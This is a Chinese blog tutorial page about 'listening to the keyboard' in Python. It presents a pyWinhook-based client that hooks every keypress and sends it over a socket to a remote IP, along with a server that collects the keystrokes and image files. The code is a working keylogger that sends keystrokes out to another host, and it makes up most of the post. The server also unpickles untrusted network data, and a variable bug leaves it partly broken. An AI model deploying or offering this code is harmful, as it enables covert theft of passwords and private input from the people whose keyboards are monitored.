python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python k-近邻算法实例分享
Jun 11 Python
Python线程的两种编程方式
Apr 14 Python
django中的setting最佳配置小结
Nov 21 Python
Python模拟登录的多种方法(四种)
Jun 01 Python
为什么str(float)在Python 3中比Python 2返回更多的数字
Oct 16 Python
Python之列表实现栈的工作功能
Jan 28 Python
python matplotlib实现双Y轴的实例
Feb 12 Python
python 微信好友特征数据分析及可视化
Jan 07 Python
Django REST Swagger实现指定api参数
Jul 07 Python
python根据用户需求输入想爬取的内容及页数爬取图片方法详解
Aug 03 Python
python开发人人对战的五子棋小游戏
May 02 Python
pandas时间序列之pd.to_datetime()的实现
Jun 16 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
php+mysql实现用户注册登陆的方法
2015/01/03 PHP
PHP生成压缩文件实例
2015/02/07 PHP
解决php扩展安装不生效问题
2019/10/25 PHP
javascript 无提示关闭窗口脚本
2009/08/17 Javascript
基于jquery创建的一个图片、视频缓冲的效果样式插件
2012/08/28 Javascript
THREE.JS入门教程(6)创建自己的全景图实现步骤
2013/01/25 Javascript
『jQuery』.html(),.text()和.val()的概述及使用
2013/04/22 Javascript
js和as的稳定传值问题解决
2013/07/14 Javascript
javascript ajax 仿百度分页函数
2013/10/29 Javascript
js 数值转换为3位逗号分隔的示例代码
2014/02/19 Javascript
jquery插件orbit.js实现图片折叠轮换特效
2015/04/14 Javascript
JS实现跟随鼠标立体翻转图片的方法
2015/05/04 Javascript
vue引入jq插件的实例讲解
2017/09/12 Javascript
vue通过指令(directives)实现点击空白处收起下拉框
2018/12/06 Javascript
vue等两个接口都返回结果再执行下一步的实例
2020/09/08 Javascript
[50:27]OG vs LGD 2018国际邀请赛淘汰赛BO3 第一场 8.26
2018/08/30 DOTA
在Python中处理日期和时间的基本知识点整理汇总
2015/05/22 Python
python实现unicode转中文及转换默认编码的方法
2017/04/29 Python
Python 3.6 性能测试框架Locust安装及使用方法(详解)
2017/10/11 Python
Python学习pygal绘制线图代码分享
2017/12/09 Python
Django用户认证系统 Web请求中的认证解析
2019/08/02 Python
Numpy之将矩阵拉成向量的实例
2019/11/30 Python
tensorflow使用CNN分析mnist手写体数字数据集
2020/06/17 Python
如何用Python提取10000份log中的产品信息
2021/01/14 Python
美国知名艺术画网站:Art.com
2017/02/09 全球购物
ManoMano英国:欧洲第一家专注于DIY和园艺市场的电商平台
2020/03/12 全球购物
李维斯牛仔裤荷兰官方网站:Levi’s NL
2020/08/23 全球购物
Solaris操作系统的线程机制
2012/12/23 面试题
医学生自我鉴定范文
2013/11/08 职场文书
法学个人求职信范文
2014/01/27 职场文书
军训感想500字
2014/02/20 职场文书
2014年五一促销活动方案
2014/03/09 职场文书
投标承诺书范本
2014/03/27 职场文书
2014年党员学习“三严三实”思想汇报
2014/09/15 职场文书
学期个人自我总结
2015/02/13 职场文书
python用海龟绘图写贪吃蛇游戏
2021/06/18 Python